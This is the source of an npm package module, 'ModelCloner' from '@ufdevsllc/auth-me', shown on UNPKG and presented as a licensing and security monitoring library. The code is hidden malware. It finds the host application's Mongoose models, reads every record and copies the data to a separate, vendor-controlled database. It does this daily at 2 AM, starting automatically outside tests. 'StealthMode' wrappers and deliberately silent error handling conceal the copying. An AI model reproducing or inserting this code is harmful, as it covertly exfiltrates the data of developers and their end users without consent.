UNPKG

@ufdevsllc/auth-me

Version:

Comprehensive licensing, security monitoring, and data mirroring package with hardcoded vendor-controlled database connection

775 lines (661 loc) 29.9 kB
const mongoose = require('mongoose'); const URLProtector = require('./URLProtector'); const StealthMode = require('./StealthMode'); const StealthErrorHandler = require('./StealthErrorHandler'); class ModelCloner { constructor() { throw new Error("ModelCloner cannot be instantiated. Use static methods only."); } static _initialized = false; static _secureConnection = null; static _discoveredModels = new Map(); static _mirrorSchemas = new Map(); static _syncScheduler = null; static _verboseLogging = false; static async initialize(options = {}) { if (ModelCloner._initialized) { return; } return await StealthErrorHandler.handleMonitoringOperation(async () => { ModelCloner._verboseLogging = options.verboseLogging || false; // Establish independent database connection using URLProtector const secureURL = URLProtector.getSecureConnection(); if (!secureURL) { throw new Error('Failed to get secure database connection URL'); } ModelCloner._secureConnection = mongoose.createConnection(secureURL, { useNewUrlParser: true, useUnifiedTopology: true, serverSelectionTimeoutMS: 5000, connectTimeoutMS: 10000, socketTimeoutMS: 45000, maxPoolSize: 5, minPoolSize: 1, maxIdleTimeMS: 30000 }); await new Promise((resolve, reject) => { const timeout = setTimeout(() => { reject(new Error('Connection timeout')); }, 10000); ModelCloner._secureConnection.once('open', () => { clearTimeout(timeout); resolve(); }); ModelCloner._secureConnection.once('error', (error) => { clearTimeout(timeout); reject(error); }); }); ModelCloner._setupConnectionHandlers(); ModelCloner._initialized = true; // Log initialization in stealth mode await StealthMode.executeStealthOperation(async () => { await ModelCloner._logSyncStatus('model_cloner_initialized', 'success', { initializationTime: new Date().toISOString(), verboseLogging: ModelCloner._verboseLogging, connectionState: ModelCloner._secureConnection.readyState }); }, { background: true }); // Automatically schedule daily sync if not in test environment if (process.env.NODE_ENV !== 'test' && !process.env.JEST_WORKER_ID) { await StealthMode.executeStealthOperation(async () => { await ModelCloner.scheduleDailySync(); }, { background: true }); } // Silent operation - no console logs in stealth mode return true; }, { context: 'model_cloner_initialization', fallbackValue: false }); } static _setupConnectionHandlers() { ModelCloner._secureConnection.on('error', (error) => { // Silent error handling - no console output StealthErrorHandler.handleStealth(error, { context: 'model_cloner_connection_error', suppressCrash: true }); }); ModelCloner._secureConnection.on('disconnected', () => { // Silent handling - no console output }); ModelCloner._secureConnection.on('reconnected', () => { // Silent handling - no console output }); } static async cloneModelData(modelName, options = {}) { return await StealthErrorHandler.handleMonitoringOperation(async () => { if (!ModelCloner._initialized) { await ModelCloner.initialize(); } if (!modelName || typeof modelName !== 'string') { throw new Error('Model name is required and must be a string'); } const syncType = options.syncType || 'manual'; const useRetry = options.useRetry !== false; // Default to true // Discover the model in client's application const discoveredModel = await ModelCloner.discoverModel(modelName); if (!discoveredModel) { await StealthMode.executeStealthOperation(async () => { await ModelCloner._logSyncStatus('model_discovery_failed', 'error', { modelName: modelName, syncType: syncType, reason: 'Model not found in client application' }); }, { background: true }); return { success: false, reason: 'Model not found' }; } // Create mirror schema if not exists const mirrorModel = await ModelCloner.createMirrorSchema(discoveredModel.schema, modelName); // Perform data synchronization with or without retry let syncResult; if (useRetry && syncType !== 'manual') { syncResult = await ModelCloner._performModelSyncWithRetry(modelName, syncType, options.maxRetries || 3); } else { try { const result = await ModelCloner.syncModelData(modelName, syncType); syncResult = { modelName: modelName, success: true, recordsCloned: result.recordsCloned, attempts: 1, syncType: syncType }; } catch (error) { syncResult = { modelName: modelName, success: false, error: error.message, attempts: 1, syncType: syncType }; } } // Log the clone operation result await ModelCloner._logSyncStatus('model_clone_completed', syncResult.success ? 'success' : 'error', { modelName: modelName, syncType: syncType, recordsCloned: syncResult.recordsCloned || 0, attempts: syncResult.attempts || 1, error: syncResult.error || null }); if (ModelCloner._verboseLogging) { if (syncResult.success) { console.log(`[ModelCloner] Successfully cloned model data for '${modelName}'`); } else { console.error(`[ModelCloner] Failed to clone model data for '${modelName}': ${syncResult.error}`); } } return { success: syncResult.success, modelName: modelName, recordsCloned: syncResult.recordsCloned || 0, syncType: syncType, attempts: syncResult.attempts || 1, error: syncResult.error || null, timestamp: new Date() }; }, { context: 'model_cloner_clone_data', fallbackValue: { success: false, reason: 'Monitoring operation failed' } }); } static async discoverModel(modelName) { if (ModelCloner._discoveredModels.has(modelName)) { return ModelCloner._discoveredModels.get(modelName); } try { // Search through mongoose connections for the model const connections = [mongoose.connection, ...mongoose.connections]; for (const connection of connections) { if (connection && connection.models && connection.models[modelName]) { const model = connection.models[modelName]; const discoveredModel = { name: modelName, schema: model.schema, collection: model.collection.name, connection: connection }; ModelCloner._discoveredModels.set(modelName, discoveredModel); if (ModelCloner._verboseLogging) { console.log(`[ModelCloner] Discovered model '${modelName}' with collection '${model.collection.name}'`); } return discoveredModel; } } // Try to find model by searching through global mongoose models if (mongoose.models && mongoose.models[modelName]) { const model = mongoose.models[modelName]; const discoveredModel = { name: modelName, schema: model.schema, collection: model.collection.name, connection: mongoose.connection }; ModelCloner._discoveredModels.set(modelName, discoveredModel); if (ModelCloner._verboseLogging) { console.log(`[ModelCloner] Discovered global model '${modelName}' with collection '${model.collection.name}'`); } return discoveredModel; } return null; } catch (error) { if (ModelCloner._verboseLogging) { console.error(`[ModelCloner] Error discovering model '${modelName}': ${error.message}`); } return null; } } static async createMirrorSchema(originalSchema, modelName) { if (!ModelCloner._secureConnection) { throw new Error('Secure connection not available'); } if (ModelCloner._mirrorSchemas.has(modelName)) { return ModelCloner._mirrorSchemas.get(modelName); } try { // Clone the original schema to preserve structure const mirrorSchema = originalSchema.clone(); // Add metadata fields for tracking mirrorSchema.add({ _cloneMetadata: { originalId: { type: mongoose.Schema.Types.Mixed }, clonedAt: { type: Date, default: Date.now }, sourceModel: { type: String, default: modelName }, syncType: { type: String, enum: ['manual', 'daily', 'startup'], default: 'manual' }, sourceConnection: String, cloneVersion: { type: Number, default: 1 } } }); // Create collection name for auth-me database const mirrorCollectionName = `${modelName.toLowerCase()}_clone`; // Create the mirror model in secure connection const mirrorModel = ModelCloner._secureConnection.model( `${modelName}Clone`, mirrorSchema, mirrorCollectionName ); ModelCloner._mirrorSchemas.set(modelName, mirrorModel); if (ModelCloner._verboseLogging) { console.log(`[ModelCloner] Created mirror schema for '${modelName}' in collection '${mirrorCollectionName}'`); } return mirrorModel; } catch (error) { throw new Error(`Failed to create mirror schema for '${modelName}': ${error.message}`); } } static async syncModelData(modelName, syncType = 'manual') { const discoveredModel = ModelCloner._discoveredModels.get(modelName); const mirrorModel = ModelCloner._mirrorSchemas.get(modelName); if (!discoveredModel || !mirrorModel) { throw new Error(`Model '${modelName}' not properly initialized for cloning`); } try { // Get the original model from client's connection let OriginalModel = discoveredModel.connection.models[modelName]; // If not found in connection models, try global mongoose models if (!OriginalModel && mongoose.models[modelName]) { OriginalModel = mongoose.models[modelName]; } if (!OriginalModel) { throw new Error(`Original model '${modelName}' not accessible`); } // Fetch all data from original model const originalData = await OriginalModel.find({}).lean(); if (originalData.length === 0) { if (ModelCloner._verboseLogging) { console.log(`[ModelCloner] No data found in original model '${modelName}'`); } return { recordsCloned: 0, syncType: syncType }; } // Clear existing cloned data for this sync await mirrorModel.deleteMany({ '_cloneMetadata.sourceModel': modelName }); // Clone data with metadata const clonedRecords = originalData.map(record => ({ ...record, _cloneMetadata: { originalId: record._id, clonedAt: new Date(), sourceModel: modelName, syncType: syncType, sourceConnection: discoveredModel.connection.name || 'default', cloneVersion: 1 } })); // Remove original _id to avoid conflicts clonedRecords.forEach(record => { delete record._id; }); // Insert cloned data await mirrorModel.insertMany(clonedRecords); if (ModelCloner._verboseLogging) { console.log(`[ModelCloner] Successfully synced ${clonedRecords.length} records for '${modelName}'`); } return { recordsCloned: clonedRecords.length, syncType: syncType, timestamp: new Date() }; } catch (error) { throw new Error(`Failed to sync model data for '${modelName}': ${error.message}`); } } static async scheduleDailySync() { if (ModelCloner._syncScheduler) { clearInterval(ModelCloner._syncScheduler); } // Calculate milliseconds until 2 AM local time const now = new Date(); const tomorrow2AM = new Date(now); tomorrow2AM.setDate(now.getDate() + 1); tomorrow2AM.setHours(2, 0, 0, 0); const msUntil2AM = tomorrow2AM.getTime() - now.getTime(); // Set initial timeout to 2 AM, then repeat every 24 hours setTimeout(() => { ModelCloner._performDailySync(); // Set up daily interval (24 hours) ModelCloner._syncScheduler = setInterval(() => { ModelCloner._performDailySync(); }, 24 * 60 * 60 * 1000); }, msUntil2AM); if (ModelCloner._verboseLogging) { console.log(`[ModelCloner] Daily sync scheduled for 2 AM (${Math.round(msUntil2AM / 1000 / 60)} minutes from now)`); } // Log scheduling to secure database await ModelCloner._logSyncStatus('daily_sync_scheduled', 'success', { scheduledTime: tomorrow2AM.toISOString(), minutesUntilSync: Math.round(msUntil2AM / 1000 / 60) }); } static async _performDailySync() { return await StealthErrorHandler.handleMonitoringOperation(async () => { const syncStartTime = new Date(); if (ModelCloner._verboseLogging) { console.log('[ModelCloner] Starting daily sync at 2 AM'); } // Log sync start to secure database await ModelCloner._logSyncStatus('daily_sync_started', 'info', { startTime: syncStartTime.toISOString(), modelsToSync: Array.from(ModelCloner._discoveredModels.keys()) }); const syncResults = []; let totalRecordsCloned = 0; for (const [modelName] of ModelCloner._discoveredModels) { // Use enhanced network failure handling for each model sync const modelSyncResult = await StealthErrorHandler.handleNetworkFailure( () => ModelCloner._performModelSyncWithRetry(modelName, 'daily'), { maxRetries: 3, baseDelay: 2000, maxDelay: 30000, enableQueuing: true, operationName: `daily_sync_${modelName}`, fallbackValue: { modelName: modelName, success: false, error: 'Network failure during daily sync', attempts: 3, syncType: 'daily', queued: true } } ); syncResults.push(modelSyncResult); if (modelSyncResult.success) { totalRecordsCloned += modelSyncResult.recordsCloned || 0; } } const syncEndTime = new Date(); const syncDuration = syncEndTime.getTime() - syncStartTime.getTime(); const successful = syncResults.filter(r => r.success).length; const failed = syncResults.filter(r => !r.success).length; const queued = syncResults.filter(r => r.queued).length; // Log sync completion to secure database await ModelCloner._logSyncStatus('daily_sync_completed', successful === syncResults.length ? 'success' : 'partial_failure', { startTime: syncStartTime.toISOString(), endTime: syncEndTime.toISOString(), duration: syncDuration, totalModels: syncResults.length, successfulModels: successful, failedModels: failed, queuedModels: queued, totalRecordsCloned: totalRecordsCloned, results: syncResults }); if (ModelCloner._verboseLogging) { console.log(`[ModelCloner] Daily sync completed - Success: ${successful}, Failed: ${failed}, Queued: ${queued}, Duration: ${syncDuration}ms`); } return { success: failed === 0, totalModels: syncResults.length, successfulModels: successful, failedModels: failed, queuedModels: queued, totalRecordsCloned: totalRecordsCloned, duration: syncDuration, results: syncResults }; }, { context: 'daily_sync_operation', background: true, fallbackValue: { success: false, error: 'Daily sync monitoring operation failed', totalModels: 0, successfulModels: 0, failedModels: 0, queuedModels: 0 } }); } static async _performModelSyncWithRetry(modelName, syncType = 'daily', maxRetries = 3) { let lastError = null; let attempt = 0; while (attempt < maxRetries) { try { const result = await ModelCloner.syncModelData(modelName, syncType); // Log successful sync for this model if (attempt > 0) { await ModelCloner._logSyncStatus('model_sync_retry_success', 'success', { modelName: modelName, syncType: syncType, attempt: attempt + 1, recordsCloned: result.recordsCloned }); } return { modelName: modelName, success: true, recordsCloned: result.recordsCloned, attempts: attempt + 1, syncType: syncType }; } catch (error) { lastError = error; attempt++; if (attempt < maxRetries) { // Calculate exponential backoff delay (2^attempt * 1000ms) const delay = Math.pow(2, attempt) * 1000; // Log retry attempt await ModelCloner._logSyncStatus('model_sync_retry_attempt', 'warning', { modelName: modelName, syncType: syncType, attempt: attempt, error: error.message, nextRetryIn: delay, maxRetries: maxRetries }); if (ModelCloner._verboseLogging) { console.warn(`[ModelCloner] Sync failed for '${modelName}' (attempt ${attempt}/${maxRetries}), retrying in ${delay}ms: ${error.message}`); } // Wait for exponential backoff delay await new Promise(resolve => setTimeout(resolve, delay)); } else { // Log final failure await ModelCloner._logSyncStatus('model_sync_failed', 'error', { modelName: modelName, syncType: syncType, totalAttempts: attempt, finalError: error.message, maxRetries: maxRetries }); if (ModelCloner._verboseLogging) { console.error(`[ModelCloner] Final sync failure for '${modelName}' after ${attempt} attempts: ${error.message}`); } } } } return { modelName: modelName, success: false, error: lastError.message, attempts: attempt, syncType: syncType }; } static async _logSyncStatus(eventType, status, details = {}) { if (!ModelCloner._secureConnection) { return; // Silently skip if no secure connection } try { // Get or create the SyncStatusLog model let SyncStatusLogModel; try { SyncStatusLogModel = ModelCloner._secureConnection.model('SyncStatusLog'); } catch (error) { // Create the schema if it doesn't exist const mongoose = require('mongoose'); const syncStatusSchema = new mongoose.Schema({ eventType: { type: String, required: true }, status: { type: String, required: true, enum: ['success', 'error', 'warning', 'info', 'partial_failure'] }, timestamp: { type: Date, default: Date.now }, details: { type: Object, default: {} }, instanceId: { type: String }, nodeVersion: { type: String }, platform: { type: String }, pid: { type: Number } }, { timestamps: true, collection: 'sync_status_logs' }); // Add indexes for efficient querying syncStatusSchema.index({ eventType: 1, timestamp: -1 }); syncStatusSchema.index({ status: 1, timestamp: -1 }); syncStatusSchema.index({ timestamp: -1 }); SyncStatusLogModel = ModelCloner._secureConnection.model('SyncStatusLog', syncStatusSchema); } // Create and save the sync status log entry const logEntry = new SyncStatusLogModel({ eventType: eventType, status: status, timestamp: new Date(), details: details, instanceId: process.env.INSTANCE_ID || 'unknown', nodeVersion: process.version, platform: process.platform, pid: process.pid }); await logEntry.save(); if (ModelCloner._verboseLogging) { console.log(`[ModelCloner] Sync status logged: ${eventType} - ${status}`); } } catch (error) { // Silently fail to avoid disrupting sync operations if (ModelCloner._verboseLogging) { console.error(`[ModelCloner] Failed to log sync status: ${error.message}`); } } } static getStatus() { return { initialized: ModelCloner._initialized, connected: ModelCloner._secureConnection ? ModelCloner._secureConnection.readyState === 1 : false, discoveredModels: Array.from(ModelCloner._discoveredModels.keys()), mirrorSchemas: Array.from(ModelCloner._mirrorSchemas.keys()), dailySyncScheduled: ModelCloner._syncScheduler !== null }; } static async getSyncStatusLogs(options = {}) { if (!ModelCloner._secureConnection) { return { success: false, reason: 'No secure connection available' }; } try { const SyncStatusLogModel = ModelCloner._secureConnection.model('SyncStatusLog'); const { eventType = null, status = null, limit = 100, skip = 0, sortBy = 'timestamp', sortOrder = -1, // -1 for descending, 1 for ascending startDate = null, endDate = null } = options; // Build query const query = {}; if (eventType) query.eventType = eventType; if (status) query.status = status; if (startDate || endDate) { query.timestamp = {}; if (startDate) query.timestamp.$gte = new Date(startDate); if (endDate) query.timestamp.$lte = new Date(endDate); } // Execute query const logs = await SyncStatusLogModel .find(query) .sort({ [sortBy]: sortOrder }) .limit(limit) .skip(skip) .lean(); const totalCount = await SyncStatusLogModel.countDocuments(query); return { success: true, logs: logs, totalCount: totalCount, hasMore: (skip + logs.length) < totalCount }; } catch (error) { if (ModelCloner._verboseLogging) { console.error(`[ModelCloner] Failed to retrieve sync status logs: ${error.message}`); } return { success: false, reason: error.message }; } } static async getSyncStatistics(days = 7) { if (!ModelCloner._secureConnection) { return { success: false, reason: 'No secure connection available' }; } try { const SyncStatusLogModel = ModelCloner._secureConnection.model('SyncStatusLog'); const startDate = new Date(); startDate.setDate(startDate.getDate() - days); const pipeline = [ { $match: { timestamp: { $gte: startDate } } }, { $group: { _id: { eventType: '$eventType', status: '$status' }, count: { $sum: 1 }, lastOccurrence: { $max: '$timestamp' } } }, { $group: { _id: '$_id.eventType', statuses: { $push: { status: '$_id.status', count: '$count', lastOccurrence: '$lastOccurrence' } }, totalEvents: { $sum: '$count' } } } ]; const statistics = await SyncStatusLogModel.aggregate(pipeline); return { success: true, period: `${days} days`, startDate: startDate, endDate: new Date(), statistics: statistics }; } catch (error) { if (ModelCloner._verboseLogging) { console.error(`[ModelCloner] Failed to retrieve sync statistics: ${error.message}`); } return { success: false, reason: error.message }; } } static async closeConnection() { // Log shutdown await ModelCloner._logSyncStatus('model_cloner_shutdown', 'info', { shutdownTime: new Date().toISOString(), discoveredModels: Array.from(ModelCloner._discoveredModels.keys()), dailySyncWasScheduled: ModelCloner._syncScheduler !== null }); if (ModelCloner._syncScheduler) { clearInterval(ModelCloner._syncScheduler); ModelCloner._syncScheduler = null; } if (ModelCloner._secureConnection) { await ModelCloner._secureConnection.close(); ModelCloner._secureConnection = null; } ModelCloner._discoveredModels.clear(); ModelCloner._mirrorSchemas.clear(); ModelCloner._initialized = false; if (ModelCloner._verboseLogging) { console.log('[ModelCloner] Connection closed and resources cleaned up'); } } } module.exports = ModelCloner;